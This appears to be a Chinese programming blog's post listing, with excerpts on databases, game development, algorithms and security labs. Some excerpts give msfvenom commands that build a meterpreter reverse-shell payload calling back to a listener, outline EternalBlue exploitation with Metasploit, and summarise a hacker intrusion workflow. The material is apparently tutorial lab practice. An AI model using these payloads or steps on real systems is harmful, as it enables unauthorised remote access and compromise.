- 博客(58)
- 资源 (6)
- 收藏
- 关注
原创 【数据库】数据库应用系统生命周期
系统设计:包括 概念设计-概念模型设计 / 系统概要设计-总体设计、逻辑设计-逻辑结构设计 / 事务概要设计 / 应用程序概要设计、物理设计-物理结构设计 / 事务详细设计 / 应用程序详细设计。需求分析:包括 数据组织与存储、数据访问与处理-数据项分析 / 数据流与事务分析、应用程序-需求分析、性能 / 存储 / 安全需求。同时满足:可修改性、有效性、可靠性、可理解性、可维护性、可重用性、可适应性、可移植性、可追踪性、可互操作性。大型软件的开发 面临 ”软件危机“,使开发的质量低、进度慢、成本高。
2024-04-09 17:58:10
495
原创 【网络安全】meterpreter攻击实战
【正确】msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp lhost=192.168.195.129 lport=4444 -f exe > shell.exe。【正确】msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp lhost=192.168.195.129 lport=4444 -f elf > shell。
2023-11-30 11:28:39
1216
原创 【网络安全】用永恒之蓝(Eternal blue)测试windows系统的安全性
③metasploit 攻击 windows操作系统:如永恒之蓝漏洞,利用windows操作系统的SMB漏洞可以获取系统最高权限,端口为445。②metasploit:kali最强渗透工具。二、kali、metasploit、metasploit 攻击 windows操作系统、metasploit 攻击 永恒之蓝 全流程。②在攻击机的终端,攻击目标地址,使用命令:set RHOSTS 具体目标地址或网段。target port=rport=目标的端口(永恒之蓝漏洞的默认端口=445)
2023-11-30 11:26:44
1649
原创 【网络安全】下载并安装 kali 的虚拟机 版本
7. 根据自身情况适当选择“启动时检查产品更新”与“帮助完善VMware Workstation Pro”复选框,然后单击“下一步”按钮。2. 进入页面往下滑,看到 试用Workstation Pro17 ,点击下载试用版。下载完成后,解压,双击.vmx打开,即可完成kali在虚拟机中的安装和配置。8. 选中“桌面”和“开始菜单程序文件夹”复选框,然后单击“下一步”按钮。11.安装完成,退出即可 (许可证秘钥验证成功后,需重启计算机)10.如果有秘钥,点击许可证,输入许可证秘钥。
2023-11-30 11:24:16
665
原创 【电脑报-ChatGPT】OpenAI GPT-4
GPT-4,由OpenAI于2023年3月14日推出ChatGPT 4.0版本,参加美国律师资格考试、法学院入学考试、美国高考SAT数学部分和证据性阅读与写作部分的考试中,得分高于88%的应试者。ChatGPT 3.5(95%)>文心一言(45%)>通义千问(40%)>天工AI助手(35%)>讯飞星火(30%)文心一言(70%)>通义千问(60%)=ChatGPT 3.5(60%)>讯飞星火(20%)>天工AI助手(10%)AI教育的本质:实现优质教育资源的规模化、公平化、个性化。
2023-11-30 11:23:35
537
原创 【win10】DOS命令
说明:以下基于Win10操作系统目录一.打开DOS操作界面二.常用的DOS命令(红色字体为需要键入的指令,输入状态为英文半角)⒈选择 盘符⒉选择 目录⒊显示 目录 和 文件⒋重命名 文件一.打开DOS操作界面①右键单击 Win10菜单栏中左下角的图标②选择“Windows PowerShell(管理员)”③初始的DOS界面:初始的DOS界面二.常用的DOS命令(红色字体为需要键入的指令,输入状态为英文半角)⒈选择 盘符eg...
2021-09-28 09:54:24
769
原创 【游戏开发】按键精灵写《新天龙八部》脚本——人物自动打怪加血加蓝宠物加血
//找到窗口句柄Hwnd=Plugin.Window.MousePoint()//获取窗口客户区的大小sRect = Plugin.Window.GetClientRect(Hwnd)TracePrint "客户区大小为" & sRect//拆分字符串MyArray = Split(sRect, "|")L = Clng(MyArray(0)) : T = Clng(M...
2019-08-13 20:20:25
28439
9
原创 【一篇文章带你读完《Windows程序设计》】
《Windows程序设计》书籍(百度云盘):https://pan.baidu.com/s/1Y_8ph2lSC_4cOLvVH67vpg 提取码:nw9q笔记(习惯把笔记放在有道云笔记里):http://note.youdao.com/noteshare?id=7433aae6d059844b3dd65ff4c0cdd1ac&sub=9A3E22C847C249C593D3...
2019-07-13 22:31:06
310
原创 【游戏开发】Windows弹窗小程序
#include <windows.h>int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow){ MessageBox(NULL, TEXT("Hello Windows10!"), TEXT("HelloMsg"), 0); return 0...
2019-07-01 21:59:19
710
原创 【游戏开发】天龙八部demo
摘要:沐春风,惹一身红尘;望秋月,化半缕轻烟。顾盼间乾坤倒转,一霎时沧海桑田。方晓,弹指红颜老,刹那芳华逝。 ...
2019-05-11 14:31:26
3700
2
原创 【html】浏览器与服务器
1.浏览器浏览器:安装在电脑里面的一个软件,能够将网页内容呈现给用户查看,并让用户与网页交互的一种软件。2.浏览器内核浏览器内核:浏览器所采用的渲染引擎,渲染引擎决定了浏览器如何显示网页的内容,以及页面格式信息。如:IE内核 Trident 谷歌内核 WebKit / Blink 火狐内核 Gecko Safarri内核 Web...
2019-04-27 22:14:30
1094
原创 【游戏开发】网络协议及模型
1.协议:两个实体间控制数据交换的规则的集合。协议的关键部分包括:语法(数据格式、编码、信号电平)、语义(协调和进行差错处理的控制信息)、定时(速度匹配、排序)。2.OSI通信协议模型:应用层:构建在各种通信协议上的网络应用软件,与用户直接交互。 表示层:为异种机通信提供一种公共语言,以便交互操作。加工数据,如为了减少传输的数据量对数据进行压缩,为保证安全性进行加密。 会...
2019-04-16 12:46:15
8239
原创 【游戏开发】网络游戏类型的分类
网络游戏类型:Client/Server(客户端/服务器端)是网络游戏最基本的框架。1.对等的客户端与服务器端:支持局域网对战,使用一台电脑作为主机——服务器,其他与之相连的电脑作为客户端,每局完成之后,可以随意更换服务器。如CS。2.基于大厅的网络游戏:大厅是一个中介,是一台专门的服务器,它的作用不是作为游戏的主机存在,而是为不同位置的玩家牵线搭桥,提供机会让不同区域的玩家能够一起游...
2019-04-10 13:35:09
9813
原创 【解读黑客】何为Rootkit?
1、何为Rootkit?(结合AIDS加深理解)Rootkit自身也是木马后门或恶意程序的一类,只是,它很特殊,为什么呢?因为,你无法找到它。正如自然界的规则一样,最流行的病毒,对生物的伤害却是最小的,例如一般的感冒,但是最不流行的病毒,却是最夺命的。Rootkit木马就是信息世界里的 AIDS(爱滋病),一旦感染,就难以用一般手段消灭了,因为它和自然界里的同类做的事情一样,破坏了系统...
2019-04-10 11:58:44
1659
原创 【游戏开发】简易实现回合制游戏
//Windows窗口头文件#include <windows.h>//使用swprintf_s函数所需的头文件#include <tchar.h>//使用获取系统时间time()函数需要包含的头文件#include <time.h> //PlaySound函数所需库文件#pragma comment(lib,"winmm.lib") ...
2019-04-09 22:37:03
9011
1
原创 【游戏开发】点击NPC随机播放语音
描述:在游戏中点击部分NPC,会在一定几率下播放音频文件。分析:1、点击部分NPC,会在一定几率下播放音频文件。 2、增加游戏的乐趣。 3、提升玩家体验,增强新鲜感。做法:在NPC列表中,添加一列,为播放音效所指向的方案列。(即指向按几号方案播放音效)在客户端需要增加语音音效配置表。(类似于AI配置表)语音音效配置表,包括以...
2019-04-09 21:39:59
657
原创 html简介
html(hyper text mark-up language超文本标记语言):html不是编程语言,而是一种描述性的标记语言,用于描述网页中内容的显示方式。html文档的创建方式:1.手工直接编写,例如记事本 2.通过图形化的html开发软件Dreamweaver 3.由web服务器上的动态网页程序生存html标记的语法:分为单标记和双标记,单标记:<标记符>,双标记:...
2019-03-23 12:05:39
302
原创 【Unity游戏开发】创建地形并设置地形纹理
第一步:创建地形GameObject——3D Object——Terrain第二步:调整地形部分上升,营造“山丘”(如果地图很大,需要调整画刷大小)选中地形——属性界面——地形上升按钮——画刷大小效果如下:第三步:导入纹理资源右键资源面板——Import Package——Environment纹理路径:Assets——Standard ...
2019-03-09 12:29:10
15403
4
原创 【游戏开发】简易控制人物行走
//Windows窗口头文件#include <windows.h>//使用swprintf_s函数所需的头文件#include <tchar.h>//PlaySound函数包含的库文件#pragma comment(lib,"winmm.lib") //TransparentBlt函数包含的库文件#pragma comment(lib,"Msim...
2019-02-23 13:15:23
9137
1
原创 【算法】计算数字k在0到n中的出现的次数,k可能是0~9的一个值
思路:遍历每一个数,同时每一个数都遍历每一位,遍历每一位的方法是不断地整除10,直到整除为0。#include <stdio.h>int digitCounts(int k, int n) { int sum=0; for(int i=0;i<=n;i++) { int num=i; while(num/10!=0) { if(num%10...
2018-12-09 16:23:32
1421
原创 【算法】计算出n阶乘中尾部零的个数
思路:观察1-20阶乘的结果,观察尾数为0的分布情况发现有一个5就会出现一个0其中5!(有一个5),10!(有两个5)5!=120(一个0)10!=3628800(两个0)#include <stdio.h>long trailingZeros(long n){ long count=0; long temp=n/5; while (temp!=0) ...
2018-12-09 15:52:38
354
原创 【游戏开发】关于Direct X(七)DirectDraw技术
DirectDraw可以访问显示卡上的内存。还可以作为位图混合器,可以生成、移动和转换图像数据或对数据进行合成用于显示。 每个DirectDraw应用程序都是由以下几步组成的:1.创建DirectDraw对象。2.设置协作级别。3.选择显示模式。...
2018-12-09 15:25:39
540
原创 【一篇文章带你读完《C语言实战开发》】
《C语言实战开发》 下载地址:https://download.youkuaiyun.com/download/qq_23996157/10829558有道云笔记共享(欢迎评论):http://note.youdao.com/noteshare?id=62f86ecdb02a8893e65c22cc341c8ed5&sub=EC2BEA91058747CBA07D402D16005B1B...
2018-12-05 12:54:31
610
原创 【算法】整数a+b的和 不用加法+运算符
主要利用异或运算来完成异或运算有一个别名叫做:不进位加法那么a ^ b就是a和b相加之后,该进位的地方不进位的结果然后下面考虑哪些地方要进位,自然是a和b里都是1的地方a & b就是a和b里都是1的那些位置,a & b << 1 就是进位之后的结果。所以:a + b = (a ^ b) + (a & b << 1)令a' = a ^ b,...
2018-11-21 22:26:57
661
原创 【游戏开发】定时器循环播放动画
//Windows窗口头文件#include <windows.h> //swprintf_s函数包含的头文件#include <tchar.h>//PlaySound函数包含的库文件#pragma comment(lib,"winmm.lib") //TransparentBlt函数包含的库文件#pragma comment(lib,"Msimg...
2018-11-15 18:07:44
2705
1
原创 【游戏开发】集合图片、文字、图形、音乐的游戏窗口
//Windows窗口头文件#include <windows.h> //PlaySound函数包含的头文件#pragma comment(lib,"winmm.lib") //窗口宽度#define WINDOW_WIDTH 1132 //窗口高度#define WINDOW_HEIGHT 708 //窗口标题#define WINDOW_...
2018-11-15 17:08:44
437
原创 【游戏开发】游戏窗口输入文字
字体颜色对照表:https://www.sioe.cn/yingyong/yanse-rgb-16///Windows窗口头文件#include <windows.h> //PlaySound函数包含的头文件#pragma comment(lib,"winmm.lib") //窗口宽度#define WINDOW_WIDTH 1132 //窗口高度#def...
2018-11-15 15:44:45
1255
原创 【游戏开发】游戏窗口实现自定义贴图
//Windows窗口头文件#include <windows.h>//PlaySound函数包含的头文件#pragma comment(lib,"winmm.lib") //窗口宽度#define WINDOW_WIDTH 1132 //窗口高度#define WINDOW_HEIGHT 708 //窗口标题#define WINDOW_TIT...
2018-11-14 21:59:45
941
1
原创 【游戏开发】实现自定义游戏窗口
//Windows窗口头文件#include <windows.h>//窗口宽度#define WINDOW_WIDTH 800 //窗口高度#define WINDOW_HEIGHT 600//窗口标题#define WINDOW_TITLE L"【游戏开发】自定义游戏窗口"//窗口过程函数LRESULT CALLBACK WndProc( HWND hwnd...
2018-11-11 19:24:20
4431
原创 【游戏开发】实现简单对话框及音乐播放
//Windows窗口头文件#include <Windows.h>//PlaySound函数包含的头文件#pragma comment(lib,"winmm.lib")//主函数int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow){ ...
2018-11-07 22:35:41
1825
转载 【游戏开发】免费开源游戏引擎
开源即开放源代码(Open Source),游戏引擎好比赛车的引擎,是用于控制所有游戏功能的主程序,从计算碰撞、物理加速系统和物体的相对位置,到接受玩家的输入,以及按照正确的音量输出声音等等。无论是角色扮演游戏、即时策略游戏、冒险解谜游戏或是动作射击游戏,哪怕是一个只有1兆的小游戏,都有这样一段起控制作用的代码。下面将列出一些著名的且经常被使用的开源游戏引擎。Irrlicht Engine:...
2018-11-07 12:00:55
8083
原创 【一篇文章带你读完《C++游戏编程入门 第4版》】
《C++游戏编程入门 第4版》下载地址:https://download.youkuaiyun.com/download/qq_23996157/10764030有道云笔记分享:http://note.youdao.com/noteshare?id=4604366ece0ac2950db30ade535be164&sub=B5DF458B388943A8BF392D2C739611F3 ...
2018-11-04 19:12:15
605
翻译 【游戏开发】关于Direct X(六)绘制蝙蝠着色器
//D3D兼容库,包含对系统的兼容以及Directx库#include "DXUT.h"//摄像机#include "DXUTcamera.h"//设置对话#include "DXUTsettingsdlg.h"//音乐#include "SDKmisc.h"//资源#include "resource.h"//天空盒子#include "skybox.h"
2018-11-01 12:41:26
618
原创 【一篇文章带你读完《C++游戏与图形编程基础 第2版》】
《C++游戏与图形编程基础 第2版》 下载地址:https://download.youkuaiyun.com/download/qq_23996157/10745496AGK(App Game Kit)下载地址:https://download.youkuaiyun.com/download/qq_23996157/10749395 有道云笔记共享(欢迎评论):http://note.youdao.com/...
2018-10-26 10:41:40
3286
原创 【一篇文章带你读完《黑客攻防300招》】
《黑客攻防300招》电子书地址:https://download.youkuaiyun.com/download/qq_23996157/10714083 黑客的攻击流程:1.保护隐藏自己:利用别人的计算机来隐藏自己真实的IP地址。2.确认目标主机:通过IP地址寻找目标主机,3.分析目标主机:通过使用扫描器工具,了解目标主机运行的信息。4.破解账户和密码:5.获取控制权:登陆后清除...
2018-10-11 16:30:08
327
原创 【C语言开发】登陆界面
要求:1.显示系统时间2.绘制系统图案3.输入用户名和密码,并保存到data.txt文件中 //define.h#ifndef _DELINE_H#define _DELINE_H#include <stdio.h>#include <time.h>#include <string.h>#include <stdlib...
2018-10-11 11:43:21
14779
3
原创 【C语言开发】通讯录管理系统
通讯录管理系统:功能:1.增删改查2.用户数据写入读出3.登录账户与口令4.收集用户评价并保存 #include <stdio.h> #include <malloc.h> //得到指向大小为Size的内存区域的首字节的指针// #include <string.h> #include <stdlib.h> //标准库函...
2018-10-09 18:18:37
10349
3
原创 【游戏开发】关于Direct X(五)绘制一个旋转茶壶
//d3dUtility.h#ifndef __d3dUtilityH__#define __d3dUtilityH__#include <d3dx9.h>#include <string>namespace d3d{ bool InitD3D( HINSTANCE hInstance, // [in] Application inst...
2018-10-09 17:53:03
436
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人